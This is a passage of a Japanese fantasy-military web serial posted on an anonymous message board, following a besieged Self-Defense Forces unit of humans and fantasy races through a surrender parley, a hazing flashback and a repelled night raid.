やったことがないわけではないが、戦闘分隊の指揮など素人に毛が生えた程度でしかない自分には、重過ぎる。

「ドワーフの連中のおかげで、最低限必要な陣地の構築は終わっているのが、せめてもの救いか……」

はっとするような美青年のエルフ隊員、セティスが呟いた。
この高地一帯に布陣してから、拠点防衛戦の準備に直ちに取りかかった外人志願者部隊は、大地の民であり、多くが優れた鉱夫であるドワーフ族の隊員が中心となってトーチカの構築を突貫作業で進めた結果、丘の上などの機銃陣地や狙撃陣地の構築はほぼ完了していた。
柴田はドワーフを始め、異種族隊員らのタフさには驚かされっぱなしだった。
エルフやダークエルフは力仕事には向かないものの、集中力と忍耐強さは全員がまさにレンジャー並だ。
夜間、その笹の葉のような耳でどんな些細な物音も聞き逃さない。
味方でいてくれることは非常に心強いと純粋に思う。

48 名前: 元1だおー 2006/06/03(土) 15:52:56 ID:???

しかし、それでも今の状況は楽観できるものではない。
防御陣地はあるものの、圧倒的に武器・弾薬が不足していた。
開戦の混乱の中、車輌の多くは放棄してきたし、かき集めるだけかき集めてきたものの、人力で運べる物資の量はたかがしれている。
まともに戦えば、一会戦で弾は切れる。
そのため、現在も陣地を後方に構築し続けており、持ちこたえられそうにない場合は前線の陣地を放棄しそこへ撤退しゲリラ戦を続けるというのが今のところの方針だった。
弾もない状態で戦闘が続けられるものかと思ったが、この異種族部隊はそうでもない。魔法や暗殺術に長けた隊員や、敵から奪った剣や槍さえあればそのまま戦える元傭兵なども大勢いる。
だがそうなったときは、数に劣るこちらはやはり敗色は濃いだろう。
友軍は遙か彼方、車輌なら二日、徒歩なら一週間以上はかかる距離にある港湾都市だ。
しかも、ヘリはほとんど新興都市国家群の方面に回されているため、こちらへ補給や脱出のために飛来してくる可能性は限りなくゼロに近い。
柴田は少し不思議な気分になった。
これはつまり、見捨てられたということではないか、と。
二千人もの人間の命が、放っておけばこの世から消えてしまうにも関わらず、誰も助けにはこない。
上層部で誰かが発した、仕方がない、という一言で、命の行方が決まってしまったのだ。
孤独。
死を目前に、自分が見捨てらるという状況は、自分には無関係だと思っていた。
これが戦争なのだ。
派手な戦闘や屍などの具体的な形ではない、人間の命が限りなく安くなってしまう状態。それこそが戦争の本性なのだ。
本当には命に平等な価値などないのかもしれない。
生まれた場所と、その時代によって変化があるだけだ。
きっと、自分達二千人の命が失われ、数十年後、なんて悲惨な戦争だったのでしょうと嘆かれるのだ。
人類はそうして、平和と戦争の狭間を行ったり来たりしているのではないか。
柴田は不意に、出会った頃の妻の顔を思い出した。

49 名前: 元1だおー 2006/06/03(土) 15:54:40 ID:???

人間ってさ、楽園を夢見ていつも失敗するんだ。何百年何千年も前から

……そうだな、きっとそうだ。京香。

「分隊長? どうしたわう?」

気が付くと、目の前に不安そうにこちらを見つめる少年の顔があった。
すぴすぴと鼻をひくつかせ、自分を心配しているようだった。
彼を見た柴田は、どうしていいのか分からなかった。
こんなに、真っ直ぐに誰かに見つめられたのは、いったい何十年ぶりだろうか。
少年、レプ二等陸士は、底なしの純粋さを持つ円らな瞳で、
こちらの心の奥底にある何かを見透かしているような気がして、柴田は思わず目を逸らした。
ややあって柴田はぎこちない笑みで首を振った。

「いや、なに。怖くてね」

言ってしまってから、これは指揮官としてまずかったのでは後悔した。
咄嗟に何かを言うという生活をしていなかったことが、今更ながら悔やまれる。
トーチカ内の部下達が、案の定静まりかえった。

「そうですね」

だが意外にも、静かだが同意を示す隊員がいた。
ルールカだった。


50 名前: 元1だおー 2006/06/03(土) 15:56:07 ID:???

「過酷な状況下で求められるのは、勇気ではなく慎重さです。恐怖は呑み込まれなければ、人を適度に慎重にさせてくれますから……」

部下の何人かが、そういう意味だったのかとはっとした表情を浮かべ、感心したような目で自分を見つめた。
そんな深い意味で言ったつもりはなかったのだが、柴田はそう思ってくれているのならそれでいいと曖昧な相槌をうった。
柴田は彼らと出会ってから、いつも不思議に思う。
彼らは、この状況下でもまるで諦めていない。
それどころか、士気は高く、敵の襲来を今か今かと待ち望んでいるようにさえ見える。
怖くないのだろうか。
このルールカというダークエルフの若者は実戦経験者らしいし、そういった感覚が麻痺しているのかもしれない。
部下達は、互いに頷きあい、自信に満ちた表情で高地の下の敵陣を睨んだ。
彼らを自分達の立場も知らない愚か者だとは柴田には思えなかった。
彼らは、自分と違って、満たされている。
彼らには何かしら信じる未来があるのだ。
羨望と、微かな自分への劣等感に、柴田は軽くため息をついた。

「なんだ、あれは?」

部下の一人の声を聞き、柴田は振り向いて下界を見た。
敵陣から白旗を掲げた一団が、ゆっくりとこちらへ歩いてきていた。

「降伏わう?」
「愚か者。軍使だ」

レプの無邪気な呟きに、エルフ隊員のセティスがぶっきらぼうに言った。





51 名前: 元1だおー 2006/06/03(土) 15:57:47 ID:???

ウェリカは緊張のあまり心臓がはち切れそうなほど高鳴っていた。
斥候隊が全滅してからこの軍師が言い出したことに、やはり命をかけてでも反対すべきだったと思う。
軍師自ら降伏勧告だなんて、馬鹿げている。
あの斥候隊の二の舞になったらどうするつもりなのだろう。
その当初の悪夢のような予想は幸いにも外れたが、今はまた別の恐怖にウェリカは縮み上がっていた。
自分はこんなにも腰抜けだったのか、と彼女は自分の小心さを知って自分で自分の首を跳ねたい気分だった。
……こんな、こんな、ニホン軍の将軍達と高地の中腹で相対しているというだけで。

「ロスーキ軍を代表して参りました。軍師、アイギス・クレルハーンと申します」

ウェリカはこの軍師の評価を改めた。
どうして彼はこんなにも堂々としていられるのだろう。
まるで草原の妖精のように、草の合間から湧き出るように現れ、あっという間に囲まれた今の状況と、
目の前の異形のニホン兵達の姿に、自分は錯乱して剣を抜いて挑みかかってしまいたい衝動に駆られているというのに。
殺気に満ちたニホン兵の姿は、まるで野蛮人のようだった。
緑や茶色のまだら模様の服で、草木を身体中に身につけ、顔を緑色や茶色に塗りたくっており、
手には斥候隊の命を奪ったであろう、異世界の恐るべき武器ジュウ≠ニいう鉄の棒を持っている。
噂で聞いていた以上の異様さだった。



52 名前: 元1だおー 2006/06/03(土) 15:59:28 ID:???

「陸上自衛隊大陸特別方面隊、第一混成戦闘団、二等陸佐、須田だ」

一人だけ、草を身体に巻き付けていない中年の男が歩み出てきて、そう名乗った。
長身で、引き締まった体つきをした男だった。
戦闘で負傷したのか、左目を包帯で覆っており、その上に黒いベレーを載せている。
ベレーにはサクラ≠ニ呼ばれる、ニホンの花をあしらった紋章が刺繍されていた。

「お会いできて光栄です。スダ将軍」

アイギスは彼に歩み寄ると、手を差し出した。

「用件は?」

スダというニホン軍の将軍は厳しい表情のまま、その手を見ようともせずに一言だけ口にした。
アイギスは苦笑とも、不敵な笑みともとれる微笑を返し、短く、しかしはっきりと言った。

「降伏してください」

スダは表情を変えなかった。

「断る」

「どうしてもですか?」

「ああ」

その場をしばしの沈黙が支配した。


53 名前: 元1だおー 2006/06/03(土) 16:01:21 ID:???

ウェリカはすぐにでも剣の柄に手をやれるように身構えた。
降伏を拒否したということは、このまま殺されるか、最悪捕虜にされる恐れがある。大抵の場合、敵への見せしめとして吊し上げられるのだ。
帝国軍はそうしなかったことはないくらいだ。
アイギスが倒れたり虜囚となったところで、軍師の換えはいないわけではないから問題はないものの、だからといって許容できるものではない。
スダはアイギスを射殺さんばかりの視線を放ちながら、おもむろに口を開いた。

「一つ聞かせてもらいたい」

「どうぞ」

「何故ここへ来た?」

アイギスは間をおかずに答える。

「降伏してくれるなら、これ以上兵を失わずに済みます。私は四万の兵の命を預かっている。その命の責任は、重い」

ウェリカはハッとした顔でアイギスの横顔を見つめた。
彼が常々口にしていることを思い出したのだ。
軍師の仕事は、敵を殲滅することではない。軍師の仕事は、いかに味方の犠牲を少なくして達成目標を果たすかにある。
ここへ来る前の軍議で各将軍から猛反対を受けながらも、頑なに譲らなかった彼は、その信念を貫いていたのだ。
自らの命を危険にさらしてまで、彼は……。

「あなたも分かっているはずだ。補給は絶たれ、援軍が来る予定もない。包囲されてはもう終わりです」

アイギスはスダに毅然とした態度で言った。
ウェリカはその姿に敬服する思いだったが、スダは厳しい表情の中に若干の怒りを滲ませた。

「あなたは今、兵の命が大切だと言った。あなたは敵だが、それには同感だ。
だが、私はもう二百の部下を失っている。
しかも、騙し討ちでだ。そんなことをする連中に降伏し、部下の命が保障されるとは考えられん。
よって、部下の命を守るには、徹底抗戦しかない。そう判断した」

54 名前: 元1だおー 2006/06/03(土) 16:02:20 ID:???

アイギスが目を細め、冷たい表情を浮かべる。

「全滅しますよ。間違いなく」

「やれるものならやってみろ。そちらもただではすまんぞ」

そう言い放つと、スダは目配せして部下に包囲を解かせた。
ウェリカは意外に感じた。どうやら自分らを無事に帰すつもりらしい。

「私を人質にしようとは?」

「あなたならそうするかね?」

「……徹底抗戦するなら、少しでも敵に損害を与えようと思います」

スダが初めて、軽く笑った。

「卑怯な連中に大した戦果も期待できんのに卑怯な手段で応じては、部隊の名誉が汚れる。
私は部下の生命だけではなく、名誉も預かっている。それを守るのも務めだ」

「……そうですか」

初めてアイギスが、悲しげな表情を浮かべたのを、彼女はどう受け取るべきか分からなかった。
高地をあとにしながら、アイギスの後ろを歩くウェリカは、そっと彼に疑問を投げかけた。

55 名前: 元1だおー 2006/06/03(土) 16:03:31 ID:???

「アイギス様……」
「なんだい」
「なぜ、あの時あのような悲しげな顔をなされていたんです?」

アイギスが顔だけ彼女に向け、彼女の不安げな顔を一瞥した。
彼は立ち止まり、高地を寂しげに眺めた。

「ウェリカ、君はニホンの兵士がどう見えた?」

彼女は予想外な質問に戸惑ったが、正直な感想を漏らすことにした。
彼に嘘をついても始まらないし、彼の問いに無意味なものがないことを、彼女はよく知っていた。

「……汚らしい服装で、野蛮人のように見えました」

「そうか」

そうだろうな、と続けて呟いてアイギスは苦笑した。
ウェリカは彼の言わんとしていることが理解できず、聞き返す。

「ではアイギス様はどう思われたんですか?」

「……高度に訓練され、洗練された軍人達に見えたよ」

ウェリカは唖然とした。
敵に対してそんな感情を抱くというのが彼女の理解の範疇を超えていたのだ。

56 名前: 元1だおー 2006/06/03(土) 16:04:13 ID:???

彼女は、ニホンは恐ろしい兵器を手に帝国を追い出した国ではあるが、それに対して敬意を抱いたことなど一度もなかった。
ニホンは武力と引き替えに自分達の食糧や資源を搾取する、帝国より若干マシな程度の侵略者でしかない。
帝国の脅威が去り、ニホンも疲弊している今、この大陸を自分達の手に取り返すべきだ。
それがロスーキでの一般的な人間の価値観だった。
それに加えて彼女は落ちぶれているとはいえ騎士であり、
騎士道精神を持たないニホン兵など、同じ武人として考えることはできないといった反感もあった。
正々堂々と勝負を挑まず、隠れて遠距離からジュウ≠ナ狙い撃つなど、何と卑怯な連中なのだという怒りさえある。
だが、アイギスはそれを全く意に介さず、ニホン兵を洗練された軍人と評した。
確かに、彼らは自分達を捕らえようとはしなかったが、彼女はニホン兵のあの異様な格好にばかり意識が集中してしまい、
野蛮人であるという認識ばかりが一人歩きしてしまうのだ。
野蛮人から我らの地を取り返せ、そのスローガンはロスーキ人に、いやこの大陸に住む人々全てに共感されるはずだ。
だが彼はそうではないようだった。

「彼らと、敵同士で出会わなければならなかったことは、とても悲劇的なことだと思うんだ……。
時期尚早過ぎた。ニホン人が我々を蔑ろにしているのは確かだけれど、交渉の余地はあったはずだろうに」

アイギスの言うことは、ウェリカにとっては祖国への裏切りのように聞こえた。

57 名前: 元1だおー 2006/06/03(土) 16:06:02 ID:???

憎むべき敵に対して、解決の糸口があったはず?
おそらく、相手がアイギスでなければ、彼女は剣を抜いて相手の首を跳ねていただろう。
大陸で日本が犯した過ちは、日本という国を理解してもらおうと動かなかったことだった。
日本人は無意識のうちに、過去の戦争の教訓とも恐怖ともつかぬ思いから、異世界の人々にあまり歩み寄ろうとしなかった。
派遣されてきた少数の外務省職員や、自衛隊、資源採掘などの民間エンジニアに関わる一部の政府の人間しか現実の日本人を知らず、
当の日本人も危険であるという理由や、日本人の気質か、積極的に自己を主張し理解してもらうという感覚に乏しかった。
政府主導で日本を知ってもらうということをやれば、
一歩間違えばかつての皇民化政策≠セと本国で問題になりそうだという役人根性からくる責任回避の感覚もあったのかもしれない。
何より、日本にとっての最優先事項は自国のライフラインの確保に他ならず、
他国の人間からどう思われようがそれは二の次の問題でしかなかったのだ。
結果的にそれは悲劇を生んだ。誰にも予想のできない形で。
この世界の人間の多くが、日本人に対して無知と無理解による誤解と偏見を持ってしまったのだ。
帝国という重圧から解放され、大陸の人々に芽生えた日本への感情は、圧政から開放してもらったという感謝の意ではなく、
恐ろしい武力を持つ第二の支配者が現れたという潜在的な恐怖心だったのだ。

58 名前: 元1だおー 2006/06/03(土) 16:06:49 ID:???

帝国と違い、恐怖による支配など当然だがしていなかった日本は、思わぬ形で刃を向けられる結果になった。
今の自分達には自由と力がある。今なら支配者を打倒できるのだ。
皮肉なことに、日本人は悪魔のような支配者で、自分達から搾取しているという情報を流したのは、他ならぬ反帝国陣営の権力者達だった。
帝国という圧政から解放され、自由を手にした民衆は、自国の新政権に期待を寄せた。
だが、権力者の多くは利権に群がるばかりで、多くの民衆は帝国支配と変わらないと不満を募らせたのだ。
その不満のはけ口が必要だった。
日本の存在はそれにうってつけだったのだ。
今の自分達が貧しく苦しい原因は、ニホンにある。ニホンは我々から食糧と資源を搾取しているのだ、と。
あとは雪だるま式に誤ったデマが流行していく。
この異世界の大陸には情報化社会のように正しい情報を得る手段はなく、誤った情報の真偽など確かめようがない。
反日思想に染まった民衆や国家が増えた結果、今回の新興国家群とロスーキの宣戦布告は起こったのである。
日本人は、あまりにも大陸の人々を知らず、知ろうとせず、そして大陸の人々も日本人を知らず、知ろうとしなかった。
疑心暗鬼と集団心理の末に、誰が加害者で誰が被害者なのかも分からずに戦争は起きた。

59 名前: 元1だおー 2006/06/03(土) 16:07:40 ID:???

「無知と無理解、無関心と無気力は、結果的に多くの不幸を生む。今回もそうだろう……」

ウェリカは思わず心の中に生まれた疑念を呟いた。

「アイギス様。あなたはニホンに……」
「僕は軍師だ。与えられた任務は達成する。勘違いしないでくれ」

今まで感じたことのない鋭い声に、彼女は思わず言葉を呑み込んだ。
ウェリカは彼を信じたかった。
理由は説明しにくいが、彼は今まで出会ってきた人物の中で最も、理解不能で、
そして、自分にはとても見ることのできない真実が見えているように感じるのだ。
しかし、自分は騎士である。あのニホン兵を擁護するようなことを言う人間を、立場からも感情からも容赦できない。

「こんなことを言うのはね……」

そんなウェリカの心中を見透かしたかのように、アイギスは珍しく微笑を浮かべた。

「相手が君だからだよ」

これだから彼はずるい、とウェリカは思った。
きっと、大丈夫だ。
いや、大丈夫でなくとも、自分は彼についていくかもしれない。
信じると決めた。
ウェリカは、アイギスの見ているものと同じものが、彼の見る真実≠ェ見えないかと、再び高地を振り返った。
相変わらず静まりかえった高地は、
人間の罪深い行いが自分の上で繰り広げられようとしているなど、まるで分かっていないかのように、
微風に草を揺らせていた。

60 名前: 元1だおー 2006/06/03(土) 16:08:21 ID:???







夢を見た。
いきなり殴られる夢だ。
強烈な鉄拳をくらい吹っ飛んだらしく、仰け反った時によく晴れた空が見えた。
課業時間外なのか、空はもう朱に染まろうとしていた。



61 名前: 元1だおー 2006/06/03(土) 16:09:03 ID:???

「立て。もっぺん言ってみろ」

野太い男の声が朦朧とする意識の中に入り込んでくる。
口の端の血を拭いながら起きあがると、
そこにはよくアイロンのかかったパリパリの深緑の作業服姿の、逞しい陸士長が仁王立ちしていた。
隊舎の屋上。
ぺっと血を吐いた時、二等陸士の階級章が自分の肩に粗く縫いつけられているのが目に入る。
三十五年前の、新隊員だった頃の自分だった。

「もう、山下を……自分のバディを……殴らないでください」

言った瞬間、今度は腹に蹴りがめり込んでいた。
嘔吐しそうになるのを堪え、屋上の地面にうずくまる。

「いい度胸だ」

陸士長がせせら笑う。

「ヒーローごっこか?」

襟首をひっ掴まれ、無理矢理立たされると、今度はパンチが繰り出された。
歯が折れかける嫌な音が口の中でするが、それをかみ殺し、不敵に笑う陸士長を睨み付けた。
一瞬士長が意外そうな顔をし、ややあって今度は大きく笑った。
そして笑いながら、自分を地面にものすごい力でねじ伏せる。

62 名前: 元1だおー 2006/06/03(土) 16:11:15 ID:???

「靴を舐めろ。今ならそれで許してやる」

……こいつ、狂ってる。
その時柴田は本気でこの陸士長を殺してやろうかと思った。
憎しみや恐怖ではなく、それが班のみんなのためになると思ったのだ。
入隊してから、この助教の受け持ちになったのが自分を含め班員十二名の運の尽きだった。
最古参の陸士長。教育訓練にかこつけて病院送りにした新隊員の数は両手両足の数では足りないと噂の輩だ。
バディの山下は九州のヤクザの実家から逃れたくて上京してきたはいいものの、食うに困って入隊した訳有りの隊員の典型のような奴だった。
そのことを皆にひた隠しにしていたが、唯一、バディの自分にだけは打ち明けてくれた。
山下はヤクザの息子になど見えない優しい奴だった。
自分同様に、あまり人に話したくない理由で入隊した者同士という妙な連帯感もあったのか、
自分と山下は何をするにも一緒という関係になっていった。
だが山下には一つ決定的な欠点があった。
喘息が持病だったのだ。
ある日、教練中に発作が起き、衛生隊に担ぎ込まれる騒ぎがあった。
それが災厄の始まりだった。この狂った陸士長に目をつけられてしまったのだ。
山下だけ、執拗なまでに指導の名の下に鉄拳制裁を受けた。
日を追うにつれやつれ、正常な顔つきでなくなっていく山下を、自分は放っておけなかった。
その結果、こんなことになってしまった。
……馬鹿だ、俺は。
今まで、誰も信じなかった自分が、先々有益になりそうでもないのに人を助けようとしている。
柴田は歯を食いしばった。
……でも山下だけだったんだ。
孤児の施設育ちで、生まれてからずっと一人で生きてきた自分の名前に、
シバっちゃん、と愛称をつけてくれたのは。

63 名前: 元1だおー 2006/06/03(土) 16:12:20 ID:???

「どうした。早く舐めろ」
「……舐めたら山下への暴力をやめてくれますか?」

意地なんて張ったところで、絶対的な力の前では無力なのは十分今までの人生で分かっていた。
中学生の頃に地元の不良グループに袋にされて泣いて詫びを入れたときから、抗うということを諦めていたはずだった。
でも、この意地だけは張りとおさないといけない。
殺されたっていいとさえ思う。
逆上したこいつに殺されれば、いくらなんでも警務隊が動くはずだ。そうすればこいつもお終いだ。
陸士長を睨み付け、柴田は凶暴な荒い息をついていた。
おそらく、覚悟と憎悪と殺意が入り交じった凄まじい形相なのだろうな、と柴田は思う。

「面白ぇな」

陸士長が腕を組み、柴田を見下ろす。
その言葉には心底何かが楽しいような感情がこもっていた。

「気に入った。めだたねえ奴だとばかり思ってたが」

そう言うと、首根っこをひっつかんで柴田を乱暴に立たせた。
まるでつまみ上げた子猫の顔を見つめるように、血だらけの柴田の顔に顔を近づけた陸士長は、にやりと笑った。

「昔の俺に似てるぜ」

次の瞬間、腹に重い拳がめり込んでいた。

64 名前: 元1だおー 2006/06/03(土) 16:13:39 ID:???

冗談じゃない。誰がお前みたいな士長になるもんか。
そう思いながら、柴田は意識を失った。
後で見ることになるであろう山下の満面の笑顔が脳裏に浮かぶ。
些細なことでもやり遂げた自分を、初めて自分で褒めてやっているような気がした。
ああ、そうだ。
この記憶は、自分が最初で最後の意地をはり通した時のものだ。
なんで、こんな幸せとはほど遠い、いや、むしろ嫌なことばかりだった時代のことを思い出すのか、分かった。
これはまだ自分が、単純な世界に生きていたときなのだ。
明日は未来と同じ意味だったときだなのだ。

シバっちゃん……こん、ほたぼけが……
馬鹿、泣くなよ……。おまえ九州男児だろ
すまん。すまんシバっちゃん……俺ぁ、俺ぁ一生忘れんけんな……
なあ……山ちゃん……
ん?
俺とお前は、似たもの同士だなぁ……
……ああ、そうやな。似ちょるもん同士や。俺とシバッちゃんは、似たもの同士

シバっちゃん……
柴田くん
柴田



65 名前: 元1だおー 2006/06/03(土) 16:15:36 ID:???

「シバタ曹長?」

誰かが呼ぶ声に、柴田ははっと目を覚ました。
一瞬、目を開けても暗いままの視界に、まだ夢を見ているのかと思ったが、
すぐに自分が光の一切ない夜のトーチカにいるということを思い出す。

「あ、うん……?」

居眠りしてしまったのか、しまった。
柴田は申し訳なく思いながら、自分を起こした部下の顔を闇の中に探した。
微かな月明かりに、二つの光る犬のような瞳が見えた。
思わずぎょっとした柴田だったが、すぐにその光る瞳に見覚えがあるのに気付いた。
レプ二士か。
確か、自分と同じ時間に警戒時間が当たっていた。指揮官が寝ていて、思わず起こしたのだろう。無理もない。

「シバタ曹長、うなされてたわぅ」

近づいてきたレプの輪郭がおぼろげだが月明かりに浮かんだ。
心配そうにこちらを覗き込んでいる。
柴田は会ってから今まで、この少年の裏表のなさには呆れと好感を抱いていた。
心のどこかで、他界した娘と重ね合わせている部分があるのかもしれない。
それ故に、じっと見つめられると目を逸らすしかなくなる。
まるで娘が、自分を無邪気な瞳で責めているような錯覚に取り憑かれるのだ。

66 名前: 元1だおー 2006/06/03(土) 16:16:32 ID:???

「そうか?」
「何か怖いことがあったわぅ?」

本当に裏表のない少年だ。心に思ったことを隠したり我慢することがない。
聞かないで欲しいことだったが、不思議なことに柴田は彼には正直に話してもいいような気持ちになった。
人が自分のことを知られるのを恐れるのは、
相手が自分のことを上辺の表情とは裏腹に蔑んだり嫌悪したりしないだろうかという恐れが生まれるからだ。
その点、この少年はそういった負の感情とは無縁だった。

「いや何。昔のことを思い出してな……」
「むかしのこと?」

首を傾げるレプの顔がおかしくて、柴田は苦笑した。

「ちょうど君のような新隊員だった頃だ」
「教育隊?」
「そう。教育隊の頃のことだ」

柴田はレプが教育隊という言葉を口にした時、笑顔の後に一瞬、悲しみの表情を浮かべたことに疑問を感じた。
そういえば、彼らは教育隊を卒業間近にここへ派遣されてきたらしい。
悲しそうな表情を浮かべるなど、もしかして教育隊で酷い差別でも受けたのだろうか。
柴田自身は、異種族隊員について肯定も否定もしない。ただ無関心なだけだ。
柴田は家族を失って以来、全てにおいて無関心だった。

67 名前: 元1だおー 2006/06/03(土) 16:17:31 ID:???

彼が命をかけ、絶対に失いたくない存在は唯一家族であり、それのない世界など、異世界であろうが意味を成さない。
極端にいえば、柴田は日本がどうなろうが知ったことではなかった。
無関心ゆえに、異種族隊員らが日本のためにこうして戦おうとする理由が疑問ではあるが、あえて知ろうとも思わない。
だがこの少年については枯れた柴田の心の中でも、ほんの少しだけ湧き出る好奇心があった。
フェリーで、マーメイドが物珍しそうに海面から顔を見せるのを大はしゃぎで指さしていたこの優しい少年が、なぜ自衛隊に志願したのか。
もしかしたら、自衛隊に志願すれば難民として保護されている家族の待遇がより改善されるというのは本当だったのかもしれない。
それを思うと、柴田は胸が痛んだ。
仕方がなかったのだな。
昔の自分のように……

「君は、教育隊は楽しかったかい?」

柴田は自分でも珍しいと思える、自分から他人への質問をしていた。

「とっても楽しかったわぅ!」

ぱっとレプの顔が華やいだ。
柴田は少し安心した。どうやら教育隊は彼にとって悪い場所ではなかったようだ。

「……でも」
「でも?」

さっきと同じ暗い表情を浮かべたレプに、柴田は思わず聞き返す。
レプは狭いトーチカの中で、まるで寒いかのように両膝を抱いてぽつりと呟いた。


68 名前: 元1だおー 2006/06/03(土) 16:18:50 ID:???

「バディと一緒に、卒業したかった……」

柴田は起きる前にみていた夢が脳裏を過ぎった。
偶然だろうか。
いや、偶然に違いない。自衛官なら誰でも教育隊は経験するのだ。バディが話題に上るのも珍しいことではない。
柴田は夢のことを頭の片隅に追いやると、今度は意外なことに思い至った。
確か異種族隊員のバディは日本人の新隊員だったはずだ。
文化の違いや意識の差からうまくいっていないという噂を耳にしたことがあったが、彼の場合はどうやら違うようだ。

「君のバディは、どんな奴だった?」

いつの間にか、頭の片隅に追いやったはずの夢の中の、かつてのバディ、あの山下の顔が浮かんで離れなくなっていた。
思えば、あの若かった時代は、辛い思い出の中に、決して忘れたくない幸せな思いが隠されていたのかしれない。
これはきっと、人生の意味を失い、ただ死を待つだけの無為な日々を送る自分の中で、風雨にさらされ、
無駄な記憶が削げ落ちていき、尊い思い出が剥き出しにされているからだろう。
バディ、部隊という概念の最小単位。好むと好まざるとに関わらず運命を共にすることを義務づけられた、二人の男達。
山下がまさにそうだった。
山下だけを苦しませてはいけない。
あいつは他人だ。自分には関係がない。そう思って関係を切り離そうとしても、切り離せないのだ。
今の自分は奴がいなければいないし、奴も自分がいなければやっていけなかった。
そこには一切の打算も妥協も馴れ合いもない、どこか軍隊的な気味が悪いくらいの、ただ純粋な絆があった。
日本人でなくとも、それは同じことなのだと思うと、柴田は無性にレプと話したくなった。
誰かと関わりを積極的に持ちたいなど、いつぶりだっただろうか。
それが、共感という感覚だと、柴田は気付かなかった。

69 名前: 元1だおー 2006/06/03(土) 16:19:36 ID:???

「……!」

柴田がレプのいつもどおりの景気の良い答えを期待していると、レプの顔にはいつの間にか笑みが消えていた。
柴田がその様子に疑問を抱くと同時に、レプは鼻を小さく鳴らして何かの匂いを嗅ぎ取ろうとしていた。
まるで家庭のプロパンガス漏れでも気付いたかのような様子に、柴田は彼が何をしているのかまるで見当がつかなかった。
当然、このトーチカの中には、そして周囲のどこにもガスや異臭を放つものも存在しない。
柴田が声をかけようとした瞬間、レプがトーチカの外の暗闇を見つめ、独り言のようにぽつりと呟いた。

「……たくさん人間の匂いがするわぅ」
「え?」

一体彼が何を言っているのか理解できず、怪訝な表情を浮かべると、遠くで何か気の抜けた音がした。
以前聞いたことのある、照明弾を打ち上げた時の音だと気付き、柴田も外に目をやった。
外の暗闇は月明かりだけでは払拭されることなく、空に星々がなければ上下感覚さえ曖昧に思えるであろう黒い世界を広げていた。
敵の気配など、何一つ……。
そう思った刹那、照明弾が弾け、白い光が夜空から高地全体をなめ回した。
そして柴田は、ほんの二十メートル先にいる人間達と、目が合った。
まるで忍者のような黒装束を纏い、口元も暗い色の布で覆っている、数は百人は下らない連中だった。
腰にはクナイのようなダガーを数本吊り下げ、刃も黒く塗ってあるのか、照明弾の光にも白刃と輝いてはいない。
この世界にどんな連中がいるのかなど無知に等しい柴田でも、すぐに理解できた。
目の前にいるのは、敵の特殊部隊だと。

70 名前: 元1だおー 2006/06/03(土) 16:20:48 ID:???

「わぅ!?」

レプが驚きと恐怖に耳をぺたんと垂らして身を伏せた。
柴田は咄嗟に手元の六四式を引っ掴んで安全装置を解除した。
前方の敵集団は声を上げることもなく懐に手を突っ込み、すぐさま何か球形のものを取り出した。
推察はつく。陣地破壊用の原始的な手製爆弾だろう。
敵はある程度自衛隊の戦い方を知っているようだった。
一番陣地に近かった十名ほどが、一斉にこちらへ向かって肉薄してくる。
柴田が声を上げるより早く、戦闘態勢を取った者がいた。
いつの間に起きていたのか、六二式機関銃にダークエルフ隊員のルールカが取りついていた。

「敵襲ぅーーー!!」

柴田の代わりとばかりにルールカが絶叫すると同時に、六二式の銃口に閃光がほとばしった。
指を軽く引いただけの一掃射で、手製爆弾の投擲距離にいた五人ほどの敵兵が導火線に点火する間もなく、
7.62o普通弾の直撃を腹に受けて吹っ飛んでいた。
その銃声が合図だったかのように、各陣地で銃火が瞬いた。
照明弾という歪な太陽に照らされる中、黒い空を曳光弾が切り裂きながら飛び交い、
敵が悲鳴を上げることもなく、まるで意志を持たない人形のように倒れていく。
隣の丘からの援護射撃と、ルールカの構える機銃とでちょうど十字砲火を浴びる形になった敵集団は、
一発目の照明弾が燃え尽きるまでに半数の兵が為す術もなく倒れていた。
残り半分は、浅い茂みになっている草地に身を隠し、煙幕のようなものを焚いて身をくらました。
だが、敵が態勢を立て直すより早く、そこへ迫撃砲弾が降り注ぎ、草地ごと敵を粉砕していた。
その間、ほんの十分にも満たない。
照明弾が燃え尽き、再び闇が支配する世界が訪れた時、迫撃砲弾の着弾点で赤く燃える炎だけが、その世界で生きる唯一の光だった。



71 名前: 元1だおー 2006/06/03(土) 16:21:51 ID:???

「……良かった。間一髪だったな」

柴田は結局一発も発砲することなく、六四式の銃口をトーチカの中に引っ込めた。
ルールカも六二式から手を離していた。
だが、彼は今度は自分の六四式を手に取ると、安全装置を外して銃口を闇の中に向けた。

「おい。どうしたん……」

言い終わらない内に、ルールカは引き金を躊躇いなく引いていた。
単発の銃声が夜の高地に響き渡る。
前方の茂みで、何かが草の上に転がる気配がした。

「……死体の影に隠れていた奴が逃げようとしました」

ルールカが冷静に説明した。
柴田は久しく忘れていた、何物かに対する不気味さという感覚を味わった。
柴田は生まれてこの方、ここまで淡々と人を殺すことができる人物に出会ったことがなかった。
いや、そもそも人を殺したことのある人間というもの初めてだ。
会ってから今まで、大人びていて、冷静で温厚な姿しか知らなかった柴田は、
このルールカという若者の知ってはいけない一面を知ってしまったような気がした。



72 名前: 元1だおー 2006/06/03(土) 16:22:49 ID:???

「おかしいですね。本気で襲う気がなかったみたいだ」

ややあって、ようやく銃口を引っ込めたルールカは、思案顔で呟いた。

「もしかして……威力偵察なのか?」

柴田はなんとかその一言を絞り出す。

「はい、おそらく。本気で襲撃するつもりなら、もっと大規模なものだったはずです」

ルールカはなおもじっと、もう人を焼く炎も消えかかった闇を睨んでいる。

「一人でも生かして帰したら、こちらの負けだったかもしれませんね」

まるで部活の試合結果を反省するような自然な口調で、殺戮の評価をする若者に、柴田は薄ら寒いものを感じた。
そして初めて、やはり彼らは日本人ではないのだということを認識した。
日本人というには、彼らはあまりにも意志が固く、そして躊躇いも容赦もなかった。

「レプ?」

柴田はトーチカ内で部下達が落ち着いてきたのを確認し、細部報告をマグで行うと、ようやく一息ついた。
警戒は厳にせよとのことだったが、ルールカは今夜はもう何も仕掛けてはこないだろうと言っていたので、根拠はないがそれを信じて安心する。
そこでようやく、部下の一人の様子がおかしいことに気付いた。
レプだった。

73 名前: 元1だおー 2006/06/03(土) 16:24:04 ID:???

トーチカの片隅に小さくなっていたので気付かなかった。
彼は身をかき抱き、小刻みに震えながら、何かに酷く怯えているようだった。

「殺しに来る……ニンゲンが……大切な人……殺しに……」

うわごとのように歯をカチカチと鳴らしながら呟く彼の様子にぞっとするものを感じた柴田は、
慌てて彼の傍に身を寄せた。

「レプ二等陸士!」
「あ……シバタ曹長」

